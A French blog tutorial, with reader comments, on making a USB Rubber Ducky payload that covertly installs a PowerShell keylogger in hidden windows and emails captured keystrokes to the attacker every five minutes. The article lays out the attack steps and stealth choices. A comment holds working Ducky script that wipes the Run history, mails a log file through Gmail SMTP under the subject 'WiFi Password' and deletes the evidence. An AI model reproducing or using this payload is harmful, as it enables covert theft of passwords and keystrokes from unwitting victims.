USB Rubber Ducky: Un Keylogger en 3 secondes !

ATTENTION: Je ne suis en aucun cas responsable de vos actes. Cet article est purement à but informatif et éducatif. Utiliser ces techniques sur d’autres machines ne vous appartenant pas est illégal. Merci.

Salut à tous et à toutes, bande de geeks !

Nous nous retrouvons aujourd’hui pour un nouveau tutoriel sur notre canard préféré, le Rubber Ducky.

Le Keylogger est un type de virus très ancien et très apprécié des pirates de par son efficacité et sa simplicité d’exécution. Son principe est simple: enregistrer toutes les frappes du clavier et les envoyer à l’attaquant. Ainsi, l’individu peu scrupuleux aura accès à beaucoup d’informations qui peuvent être très intéressantes, notamment des mots de passes tapés lors d’une navigation Internet, etc…

Je vais donc vous montrer dans ce tutoriel comment mettre en place un payload sur notre Rubber Ducky afin d’exécuter un Keylogger sur notre machine.

Pour ce faire, nous allons utiliser le Keylogger développé en Powershell de Powershell Mafia, disponible sur leur Github (très intéressant au passage) qui regorge de scripts du même genre. Nous allons aussi avoir besoin d’un serveur web afin d’héberger notre script d’exfiltration de données.

Voici donc l’algorithme de principe du payload:

  • Téléchargement et exécution du keylogger dans une fenêtre powershell cachée
  • Enregistrement des frappes dans le fichier key.txt ce situant dans le dossier temporaire du système
  • Téléchargement et exécution du script nous envoyant le fichier de logs par mail dans une fenêtre powershell cachée

Le principe est simple et le payload l’est aussi. L’avantage d’utiliser des fenêtres Powershell cachées (argument “-WindowStyle hidden”) est que cela maximise la discrétion de nos opérations.

Commençons par la première étape qui consiste à télécharger et à exécuter le Keylogger dans une fenêtre Powershell cachée. Le script est totalement commenté en fonction des actions effectuées :

Ensuite, il ne reste plus qu’à télécharger et à exécuter le script nous permettant de nous envoyer le fichier logs par mail :

Le script “mail.ps1” hébergé sur votre serveur contiendra le contenu suivant :

Si vous ne souhaitez pas laisser le script à la racine de votre site, pensez à changer l’adresse dans le payload aussi !

En ce qui concerne le script d’exfiltration des données, rien de très compliqué pour ceux qui ont l’habitude de mes tutos sur le sujet. Nous ne faisons que de mettre en place un template de mail qui contiendra notre fichier logs attaché. Une boucle infini s’exécute alors et un mail est envoyé toutes les 360 secondes (5min). Vous pouvez changer l’intervalle d’envoi à votre guise selon vos préférences.

Voici donc le payload pour le Ducky terminé 🙂

Vous pouvez changer les DELAY à votre guise, en fonction de la vitesse de réaction de votre machine. Ces valeurs sont adaptées pour une machine sous Windows 10 tournant avec un HDD.

Si cet article vous a plût, n’hésitez pas à le partager et à me le dire ! Aussi si vous arriviez à optimiser ce payload, n’hésitez pas à me le dire en commentaire de l’article, ça me ferait très plaisir 🙂

Je vous donne donc rendez-vous pour un nouvel article, et n’oubliez pas: Stay Tuned !

Categories: Hacking, USB Rubber Ducky

4 commentaires

  • Dujardin

    Bonjour tres bon tuto !! Cependant je ne vois comment faire pour héberger le fichier sur un serveur .. Quel serveur ? Mega ? Si vous pourriez m’éclairer :).. Merci beaucoup

    • Speed09

      Bonjour, vous pouvez héberger le fichier sur un serveur web privé (de préférence, car vos logins seront visibles sinon). Un simple Lighttpd suffit amplement pour héberger des fichiers. Sinon créez vous une adresse bidon et uploadez votre script sur pastebin en privé, et mettez l’adresse “raw” dans votre Payload 🙂

      • Dujardin

        Re bonjour , je reviens vous car j’ai désormais une erreur lors de l’envoie du fichier vers mon adresse mail l’idc me retourne cela :

        Exception lors de l’appel de « Send » avec « 1 » argument(s) : « Échec d’envoi du courrier. »
        Au caractère Ligne:1 : 1
        + $SMTPInfo.Send($ReportEmail)
        + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
        + CategoryInfo : NotSpecified: (:) [], MethodInvocationException
        + FullyQualifiedErrorId : SmtpException

        Voici le code concernant la partie Mail :

        REM –> Mail Log.txt
        STRING powershell
        ENTER
        STRING REG DELETE HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /f
        ENTER
        STRING $SMTPServer = ‘smtp.gmail.com’
        ENTER
        STRING $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
        ENTER
        STRING $SMTPInfo.EnableSSl = $true
        ENTER
        STRING $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential(‘………….’, ‘………..’)
        ENTER
        STRING $ReportEmail = New-Object System.Net.Mail.MailMessage
        ENTER
        STRING $ReportEmail.From = ‘……’
        ENTER
        STRING $ReportEmail.To.Add(‘……..’)
        ENTER
        STRING $ReportEmail.Subject = ‘WiFi Password’
        ENTER
        STRING $ReportEmail.Body = (Get-Content Log.txt | out-string)
        ENTER
        STRING $SMTPInfo.Send($ReportEmail)
        ENTER
        STRING exit
        ENTER
        DELAY 1000

        REM –> Delete Log.txt and exit
        STRING del Log.txt & exit
        ENTER

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *